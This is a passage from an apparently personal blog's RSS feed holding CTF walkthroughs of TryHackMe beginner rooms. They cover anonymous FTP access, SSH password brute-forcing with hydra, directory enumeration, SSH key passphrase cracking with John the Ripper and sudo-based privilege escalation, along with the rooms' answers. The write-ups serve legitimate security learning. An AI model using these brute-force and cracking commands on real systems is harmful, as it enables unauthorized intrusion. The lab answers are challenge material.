( Where our web server is hosted )</li></ul><p>Firstly, We can look at our Web page and see if we get any information there :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jx5ozXIHhs-kMw321Rm3rg.png" /></figure><ul><li>So u can there are four Users are : Spike, Jet, Ed, Jaye. This is the only information here , I even review the page source code but not found anything there</li><li>So Above we see there is a service running there of FTP where anonymous login is allowed so let’s see what inside it :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*FaxscHZUfMtrF10S_WAh8g.png" /></figure><ul><li>So Here we go , We entered into FTP through the anonymous login :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*g-uCMC9exuobYJ4_8bm6yQ.png" /></figure><ul><li>So Here u see we get two files : locks.txt and task.txt</li><li>Now Let’s see what inside them :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*68_8hCMSMcTVu-kp46aaPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*M-VfZ1hF0ik6Fsg4NR7-fQ.png" /></figure><ul><li>So this is what inside in the task.txt and locks.txt</li></ul><p><strong>Task 3</strong> : <strong>Who wrote the Task list ?</strong></p><p>Ans : As u see in the task.txt, the task has been written by Lin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8-EYlcGZ32GgTrvaUilo6w.png" /></figure><p><strong>Task 4 </strong>: <strong>What service can you bruteforce with the text file found?</strong></p><p>Ans : We know there is a service running on Port 22, So we can use SSH to bruteforce</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gn1XhBSJRaD-7LR-LwXRBQ.png" /></figure><p>Now We can use hydra tool to Find the Password of the user as we know there is SSH port is open. So to Establish the connection, we have to know the username and the password to run that service so We know there are some users there :</p><p>Spike, Jet, Ed, Jaye, Lin — We can make a list of these users</p><ul><li>Also there is a list we get earlier of locks.txt which is kind of a password list if we see them carefully.</li><li>So for Hydra bruteforcing, We have to give the username list through “-L” Parameter and password list by “-P” Parameter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dahcZPJc1zB3x3f0VLRpew.png" /></figure><ul><li>Here We go We get Our username and Password , So Our username is lin and u can see the password here above</li><li>Now it’s time to login through SSH,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*u2zbW0PFCtb_q2Tki3SXyw.png" /></figure><ul><li>So In the Desktop Directory, We got our First Flag</li></ul><p><strong>Task 6 :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFd15JfxnJyuGm_fbJnLPQ.png" /></figure><p><strong>Task 7 :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNdaSLT5LyakxRh67OyuCw.png" /></figure><p><strong>Root Flag :</strong></p><ul><li>Let’s Examine the Sudo Files of Privilege Escalation</li></ul><p>To Find the Privilege We can type the Command “ Sudo -l”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*jY4dO5DO3wM4bSP1Dzzxrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*io5_PadA63yX2DX-6WiTOg.png" /></figure><ul><li>So Here we see user lin run the sudo privileges on /bin/tar . Let’s look sudo command on GFTObins page</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xia6YL5yEv5M6huiePA-yA.png" /></figure><ul><li>Now let’s execute this command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*9vE8745n_QtiqZyfXfVp1g.png" /></figure><ul><li>So u can see we Escalated to the root user!!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vr2tR9nQO4yQW-j3pquRJw.png" /></figure><ul><li>So Here we got our Last Flag…</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o2TivzuK0JEQieL9b6yyQw.png" /></figure><p>Thank u for watching it…Stay tuned for more solutions like that!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72f4b2b1dba8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rickle CTF]]></title>
            <link>https://piyushbansal14.medium.com/pickle-rickle-ctf-183d1adeb644?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/183d1adeb644</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[pickle-rickle-ctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Tue, 21 Jan 2025 12:19:05 GMT</pubDate>
            <atom:updated>2025-01-21T12:19:05.460Z</atom:updated>
            <content:encoded><![CDATA[<p>Today we are going to see this CTF quite Simple CTF’s just follow it with me and u just go through it easily. This CTF is on tryhackme and a free CTF which anyone can access so Enjoy it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*Jxrp0bFDLsm_VF4-FGBdww.jpeg" /></figure><p>So In this CTF Rick and Morty are two persons, Here we need to exploit the web server to save Rick to become Pickle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XR36giP9QZiYABf4O8m6w.png" /></figure><ul><li>So We have to Find t<strong>hese 3 Ingredients</strong> to Save Rick</li></ul><p>Even Before Going to Enumeration , we Firstly check to the source code of the web page if there is any useful thing we can find out there :</p><ul><li>So In Reviewing the web page, I got to know about :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*Vg1zyZSQwyesf3zhb7PXsw.png" /></figure><ul><li>This is the username of something, Let’s see how can we use it</li></ul><p><strong>Part 1 : Enumeration</strong></p><ul><li>Firstly, We have any IP Given we can start it with Enumeration phase and we use Nmap here to enumerate our target and to gather some Information</li></ul><pre>nmap -T4 -A &lt;Target IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*BJtc7GozSEQgXxXn590YmA.png" /></figure><p>Here Our Nmap scan is completed and we got to know about some ports and open and there are some services are running on it :</p><ul><li>At 22 Port ,<strong> SSH</strong> service is running</li><li>At 80 Port, HTTP is running</li></ul><p>Let’s see how can we use these services in later half, But we know we have a username above so may use it with SSH</p><ul><li>Now We can check some hidden directories Which we see Either by Gobuster or dirb anything u want or there are many tools available</li><li>So Personally I can go with <strong>Gobuster</strong>,</li></ul><p>Sytax :</p><pre>gobuster dir -u &lt;URL&gt; -w &lt;wordlist&gt; [options]</pre><pre>dirb &lt;URL&gt; [wordlist] [options]</pre><p>So Now we initiate the Brute Forcing of the directories Let’s see what we can get here :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*_KwC0sks6RfoCt0SPB8PpQ.png" /></figure><ul><li>Here U can see Our Gobuster search, Now we can go to one by one through these hidden directories and let’s see what is inside there</li><li>Firstly, I have seen these 3 Files at the top but we dont’ have any permission to access them so I left them alone</li><li>Now I go to<strong> robots.txt</strong>, Here I find something :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZxXzb-NLoyHwyZpzqMlDDw.png" /></figure><ul><li>It looks like a password of something so We can a username already find it. So Let’s check how its goes : Furthermore, We know there is a Service SSH is running so let’s try to Login with SSH:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*4Ql8XWdk7zw7Jxf4EJkuJQ.png" /></figure><p>But what we see Our permission got denied in it, Now We have to think what we left behind bcz through SSH we can’t access .</p><ul><li>I m just using mine whole mind, then I think to Enumerate the target through some another tool may be We can get something useful from that , Which keeps us moving :</li><li>So I decided to Go with other Tool Name as <strong>Nikto</strong> (It’s a Web Server Vulnerability Scanner so let’s go and see what we will find through it )</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DdmI4QW2IeV_Bf2eg42PPg.png" /></figure><ul><li>And here we see there is some login.php file there, Ohkk so Let’s go there and see what inside it :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uyil4vgIoIHvf_d0PEsGBQ.png" /></figure><ul><li>So Here u can see this is Our login.php form , Now we try to enter the username and that thing what We got before :</li><li>Hurrah! We logined into it and We are seeing a Command Panel</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uXtulGwCTix8YJRBTQYUuA.png" /></figure><ul><li>After Putting on some commands, we see this is a bash command Panel So we try it with ls command</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ygVcI69i2EEp2zm_6f9qug.png" /></figure><ul><li>So we get to see these things here, Here I m able to see two Excited files : <strong>Sup3rS3cretPickl3Ingred.txt</strong> and <strong>Clue.txt</strong></li><li>Let’s see what Inside them</li><li>But Wait What! After using the cat command with the file , I get this :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lx493LpwiHiM2_hZyyMuZA.png" /></figure><p>So Here our Cat command is disabled , Here I try some more commands and see here we see our less command to see the content there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdjpi5hUQrd1B36OdzaIrA.png" /></figure><ul><li>So Here We got something, this may be our First Ingredient Let’s see :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fwjxZltNvvNzwXZ1H5ya-w.png" /></figure><ul><li>So We get our First Ingredient</li><li>Now Let’s see what is inside in clue.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*kVv-iscPARQnDlsg0aqE1A.png" /></figure><ul><li>So this is What Inside it…</li><li>Now he is saying to look at the File system so let’s look at it …</li></ul><p>So Firstly I try to see Where I m, I use whoami and it returns</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RgfEKd4gZ_3_bi06NPARSQ.png" /></figure><p>2nd Ingredient :</p><ul><li>Now I decide to go to home directory where I m see something useful</li></ul><p>After ,</p><pre>ls /home</pre><ul><li>After this command, I see</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eezNl7fhEdQj3LniUMk03A.png" /></figure><ul><li>Now We try to see what is inside in rick ,</li></ul><p>So Here is showing somethig like that After running :</p><pre>ls /home/rick</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/261/1*SMg8DG7dORHANyhz6lcQOQ.png" /></figure><ul><li>Now See the Ingredients of it :</li></ul><pre>less /home/rick/&quot;second ingredients&quot;</pre><p>So Here we got Our 2nd Credential:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/1*Ux4m6DDZ0Bz6CKWm0RZWzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ShlHehydYKfHxrUBdC_SQ.png" /></figure><p>Ingredient 3 : For Ingredient 3, I don’t have any info now so I try to Escalate the privileges to the root user, We know sudo command is one which helps us to run commands as a different user with elevated privileges so let’s try with sudo now</p><ul><li>After running sudo -l I get ,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j5o7iCQEjwQokcd168OPkQ.png" /></figure><ul><li>Here It is clearly signify that there is no Password at all , So Now try to dig in it :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RiSiYyyVjbQYzBi7iUHoTg.png" /></figure><ul><li>Here we got our 3rd.txt now just let’s just open it :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3gBQFif5TQO71PFRNjCZHA.png" /></figure><ul><li>So Here We Find our 3rd Ingredient with the help of less command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIzdRmlDfDPfnEc_ZWrSYg.png" /></figure><ul><li>So That’s how we pwned Our CTF…..</li><li><strong>Thank you, Very much to stay with me at the very last</strong></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=183d1adeb644" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Penetesting CTF Walkthrough]]></title>
            <link>https://piyushbansal14.medium.com/basic-penetesting-ctf-walkthrough-683fc6a817d0?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/683fc6a817d0</guid>
            <category><![CDATA[ct]]></category>
            <category><![CDATA[detailed]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[basic-penetesting]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 08:13:10 GMT</pubDate>
            <atom:updated>2025-01-20T08:13:10.111Z</atom:updated>
            <content:encoded><![CDATA[<ul><li>It is a Beginner Level Room in Tryhackme where it demonstrate some basic pentesting skills..</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cv9j3tnfox341RvL" /><figcaption>Photo by <a href="https://unsplash.com/@stevecameup?utm_source=medium&amp;utm_medium=referral">Xavier Cee</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Here , I m going to show how to solve this CTF in very easy steps:</p><p><strong>Link </strong>: <a href="https://tryhackme.com/r/room/basicpentestingjt">https://tryhackme.com/r/room/basicpentesting</a></p><blockquote>Let’s Begin</blockquote><p><strong>Task 1 : Deploy the machine and connect to our network</strong></p><ul><li>It’s Quite Simple just press the Start machine button at the top furthermore Connect the openvpn in ur machine or u may use Startbox if u want</li></ul><p><strong>Task 2 : Find the Services Exposed by the machine</strong></p><ul><li>So Here We Perform our Nmap scan to see the services which are running here. So here is Our simple Nmap Command :</li></ul><pre>nmap -T4 -A -p- &lt;target machine Ip&gt;<br><br>Here -T4 : It makes our Scan faster<br><br>-A : Enables Advanced features like OS detection,Version Scanning and many more things<br><br>-p- : Scans all 65,535 Ports<br><br>&lt;target machine ip&gt; : Replace IP with the target machine which u have to scan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*_QrRPmHJR6sEBfLojjveJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*nHD5GdVpMXuYV9EpdRJmTg.png" /></figure><p>We can see the services which are useful here are :</p><ul><li>SSH at port 22</li><li>TCP at port 80</li><li>Samba at port 139,445</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DaITYMkfwuTYFtTOFgoOkw.png" /></figure><p><strong>Task 3 : What is the name of the hidden directory on the web server(enter name without /)?</strong></p><ul><li>So Here to Find the hidden directory we can use gobuster or dirb or any other tool which ever u want. Here how can we use these tools (There Sytax):</li></ul><pre>dirb &lt;URL&gt; [wordlist] [options]<br><br>dirb http://example.com /usr/share/wordlists/dirb/common.txt<br><br>gobuster dir -u &lt;URL&gt; -w &lt;wordlist&gt; [options]<br><br>gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt</pre><p>So Here I will use Gobuster as my tool as it is bit fast than Dirb:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*o6ZUobfkNBiURnr-z3FtRw.png" /></figure><ul><li>So Here we see a directory which is /development Now see what we can on our web page what inside of our directory</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNV6xpZ1UzcSUgL0EG1Alg.png" /></figure><p>So Here we see We get two text files, So we see the file one by one in it :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*DYnz8C6E_bbePHsA2oPZbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*UxRLvzk-9xvSQNXJABq-Ug.png" /></figure><ul><li>From these two files, We get some information which u may be useful as we proceed:</li><li>Version Number : 2.5.12 , Apache Server</li><li>Website is also using smb</li><li><strong>There are minimum two users there as u see in j.txt ( J and K )</strong></li><li>User J is using very weak password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tabRXeuzCWnfQka9eMO90A.png" /></figure><p>Task 4 : <strong>User brute-forcing to find the username &amp; password</strong></p><ul><li>Here we have to find the Username and password of the users. But firstly, we have to find out the users here is :</li><li>For this We use a tool which is <strong>enum4linux</strong> tool( It’s a tool which extracts the information from Windows Machine using SMB)</li></ul><p>Syntax for Tool:</p><pre>enum4linux [options] &lt;IP address&gt;<br><br>enum4linux -e &lt;IP address&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*o9cyS_zKocw1w3uB1LbMug.png" /></figure><ul><li>So After using this We get to know our Two Users which we earlier see : J for Jan and K for kay</li><li>Now we Now J for Jan had a weak password as we earlier know about it from the development hidden folder Now let’s try to bruteforce it and try to find the password for it ..</li><li>We can Use Hydra as a tool for bruteforcing the password of Jan</li><li>This is Hydra Syntax of bruteforcing via SSH form ( As we already Know SSH is running here )</li></ul><pre>hydra -l &lt;username&gt; -P &lt;password_list&gt; ssh://&lt;IP&gt;</pre><p>Synatx for Username Jan</p><pre>hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_MACHINE_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWb5Dcse1zjNgwJnYIL4BA.png" /></figure><p>Here u see I use -t 64 , Just to increase it’s scan speed u may set it to 32 or 8 according to u whatever u want.</p><ul><li>Here We get Our password<strong> armando</strong> of username Jan</li></ul><p>Task 5 : <strong>What is the username?</strong></p><p>Ans : Jan</p><p>Task 6 : <strong>What’s the Password?</strong></p><p>Ans : Armando</p><p><strong>Task 7 : What service do you use to access the server(answer in abbreviation in all caps)?</strong></p><p>Ans : Let’s login into our Target machine using ssh and the password we got for Jan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*aiijnIkRN2uIRfEL4LjlMw.png" /></figure><ul><li>So Here we just login with the Jan using the service of SSH</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XC-X-JDEsPw5MXsE1hr3g.png" /></figure><p><strong>Task 8 -9</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqdDC2s3FQc6I0D_p1qurA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*FdOr9Zz80mfes3Gz3Km_Og.png" /></figure><ul><li>So Here We see our Permission is denied to access some file, So we have to find a way to access this File. We have to Escalate the Permission of user Kay to the root level to access this thing</li><li>So we will do it using the ssh key of kay and then finding the passphrase to access the machine of kay without actual password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*j2pfP_k-toDZ8aQBJhd3_Q.png" /></figure><ul><li>Now I save this thing to a file name as id_rsa.txt</li><li>Our Next Step is to cracing the key for the Passphrase( Here we use our go to tool which is John the Ripper tool which is used to crack the Hashes, Passwords, Encryptions and many more things…</li><li>Now this Below thing will convert our Private SSH key into the john format it can be cracked further</li></ul><pre>python3 /opt/john/ssh2john.py id_rsa.txt &gt; hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*oSf9JLqGQb8sTBlg9cORxg.png" /></figure><ul><li>This gives us our passphrase which is beeswax.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4BZhyc31AC24PC8sZWx_A.png" /></figure><p>Task 10 : If you have found another user, what can you do with this information?</p><p>Ans : We already logged in without need of Password…[No Answer Needed]</p><p>Task 11 : <strong>What is the final password you obtain?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*wb1VC9yb6lmspgsSa7saWA.png" /></figure><p>After Accessing as kay, U can get into it with the passphrase . After that we can access to this pass.bak easily then get this Password</p><pre>heresareallystrongpasswordthatfollowsthepasswordpolicy$$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjmdfbFaoQtFEbBmpiszeQ.png" /></figure><ul><li>So We have Successfully Completed this Basic Penetesting room on Tryhackme..</li></ul><p>CTFs are a great way to challenge yourself and learn new skills in cybersecurity. <strong>Keep pushing forward, stay curious, and don’t hesitate to reach out with feedback or questions — I’d love to hear your thoughts!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=683fc6a817d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>